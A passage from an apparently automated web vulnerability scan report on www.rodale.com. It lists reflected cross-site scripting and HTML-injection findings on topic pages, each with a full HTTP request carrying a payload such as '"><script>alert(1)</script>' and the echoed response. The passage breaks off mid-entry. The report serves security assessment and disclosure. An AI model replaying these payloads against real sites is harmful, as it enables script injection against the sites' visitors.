The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc91b"><script>alert(1)</script>b0668a6c8d9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/overeating?dc91b"><script>alert(1)</script>b0668a6c8d9=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:53 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:58 GMT
Date: Thu, 10 Mar 2011 17:16:58 GMT
Content-Length: 32720
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/overeating?dc91b"><script>alert(1)</script>b0668a6c8d9=1" title="Register" class="moreLink">
...[SNIP]...

2.761. http://www.rodale.com/topic/pain-management [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/pain-management

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 12f99"><a>c71a001ec85 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic12f99"><a>c71a001ec85/pain-management HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:46 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:46:51 GMT
Date: Thu, 10 Mar 2011 17:16:52 GMT
Content-Length: 22516
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic12f99"><a>c71a001ec85 topic12f99">
...[SNIP]...

2.762. http://www.rodale.com/topic/pain-management [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/pain-management

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a8626"><a>3692e8427d5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/pain-managementa8626"><a>3692e8427d5 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:31 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:47:32 GMT
Date: Thu, 10 Mar 2011 17:17:33 GMT
Content-Length: 22495
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-pain-managementa8626"><a>3692e8427d5 node node-958">
...[SNIP]...

2.763. http://www.rodale.com/topic/pain-management [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/pain-management

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a770a"><script>alert(1)</script>afa6f15dd0b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/pain-management?a770a"><script>alert(1)</script>afa6f15dd0b=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:43 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:45 GMT
Date: Thu, 10 Mar 2011 17:16:45 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32769

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/pain-management?a770a"><script>alert(1)</script>afa6f15dd0b=1" title="Register" class="moreLink">
...[SNIP]...

2.764. http://www.rodale.com/topic/parenting [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/parenting

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c221e"><a>f97c05d921c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicc221e"><a>f97c05d921c/parenting HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:52 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:57 GMT
Date: Thu, 10 Mar 2011 17:16:57 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicc221e"><a>f97c05d921c topicc221e">
...[SNIP]...

2.765. http://www.rodale.com/topic/parenting [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/parenting

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c9f6"><a>82bcff2e5aa was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/parenting8c9f6"><a>82bcff2e5aa HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:56 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:58 GMT
Date: Thu, 10 Mar 2011 17:17:58 GMT
Content-Length: 22477
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-parenting8c9f6"><a>82bcff2e5aa node node-958">
...[SNIP]...

2.766. http://www.rodale.com/topic/parenting [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/parenting

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 85bb3"><script>alert(1)</script>e03181709ab was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/parenting?85bb3"><script>alert(1)</script>e03181709ab=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:49 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:50 GMT
Date: Thu, 10 Mar 2011 17:16:50 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32978

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/parenting?85bb3"><script>alert(1)</script>e03181709ab=1" title="Register" class="moreLink">
...[SNIP]...

2.767. http://www.rodale.com/topic/parkinsons-disease [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/parkinsons-disease

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 622d1"><a>22a6ad3fa62 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic622d1"><a>22a6ad3fa62/parkinsons-disease HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:52 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:54 GMT
Date: Thu, 10 Mar 2011 17:16:54 GMT
Content-Length: 22525
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic622d1"><a>22a6ad3fa62 topic622d1">
...[SNIP]...

2.768. http://www.rodale.com/topic/parkinsons-disease [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/parkinsons-disease

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83ac2"><a>ba62de4f3cc was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/parkinsons-disease83ac2"><a>ba62de4f3cc HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:28 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:30 GMT
Date: Thu, 10 Mar 2011 17:17:30 GMT
Content-Length: 22504
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-parkinsons-disease83ac2"><a>ba62de4f3cc node node-958">
...[SNIP]...

2.769. http://www.rodale.com/topic/parkinsons-disease [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/parkinsons-disease

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56b79"><script>alert(1)</script>78a66d5a716 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/parkinsons-disease?56b79"><script>alert(1)</script>78a66d5a716=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:49 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:51 GMT
Date: Thu, 10 Mar 2011 17:16:51 GMT
Content-Length: 29779
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/parkinsons-disease?56b79"><script>alert(1)</script>78a66d5a716=1" title="Register" class="moreLink">
...[SNIP]...

2.770. http://www.rodale.com/topic/personal-care-products [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/personal-care-products

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bed31"><a>b71826082ac was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicbed31"><a>b71826082ac/personal-care-products HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:09 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:11 GMT
Date: Thu, 10 Mar 2011 17:17:11 GMT
Content-Length: 22537
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicbed31"><a>b71826082ac topicbed31">
...[SNIP]...

2.771. http://www.rodale.com/topic/personal-care-products [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/personal-care-products

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 85f68"><a>9c31f801c50 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/personal-care-products85f68"><a>9c31f801c50 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:05 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:11 GMT
Date: Thu, 10 Mar 2011 17:18:11 GMT
Content-Length: 22516
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-personal-care-products85f68"><a>9c31f801c50 node node-958">
...[SNIP]...

2.772. http://www.rodale.com/topic/personal-care-products [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/personal-care-products

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 558e4"><script>alert(1)</script>17d03390a36 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/personal-care-products?558e4"><script>alert(1)</script>17d03390a36=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:07 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:09 GMT
Date: Thu, 10 Mar 2011 17:17:09 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33228

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/personal-care-products?558e4"><script>alert(1)</script>17d03390a36=1" title="Register" class="moreLink">
...[SNIP]...

2.773. http://www.rodale.com/topic/personal-care-products-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/personal-care-products-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1916"><a>b0dd88a01c0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicb1916"><a>b0dd88a01c0/personal-care-products-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:55 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:46:56 GMT
Date: Thu, 10 Mar 2011 17:16:57 GMT
Content-Length: 22543
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicb1916"><a>b0dd88a01c0 topicb1916">
...[SNIP]...

2.774. http://www.rodale.com/topic/personal-care-products-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/personal-care-products-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec923"><a>e0bc12ae431 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/personal-care-products-0ec923"><a>e0bc12ae431 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:52 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:54 GMT
Date: Thu, 10 Mar 2011 17:17:54 GMT
Content-Length: 22522
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-personal-care-products-0ec923"><a>e0bc12ae431 node node-958">
...[SNIP]...

2.775. http://www.rodale.com/topic/personal-care-products-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/personal-care-products-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1c26"><script>alert(1)</script>21b50df92e8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/personal-care-products-0?b1c26"><script>alert(1)</script>21b50df92e8=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:52 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:54 GMT
Date: Thu, 10 Mar 2011 17:16:54 GMT
Content-Length: 31176
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/personal-care-products-0?b1c26"><script>alert(1)</script>21b50df92e8=1" title="Register" class="moreLink">
...[SNIP]...

2.776. http://www.rodale.com/topic/pesticides [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/pesticides

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72a0f"><a>7f00b06e7d1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic72a0f"><a>7f00b06e7d1/pesticides HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:03 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:47:04 GMT
Date: Thu, 10 Mar 2011 17:17:05 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic72a0f"><a>7f00b06e7d1 topic72a0f">
...[SNIP]...

2.777. http://www.rodale.com/topic/pesticides [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/pesticides

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3caa2"><a>3ff310e124f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/pesticides3caa2"><a>3ff310e124f HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:00 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
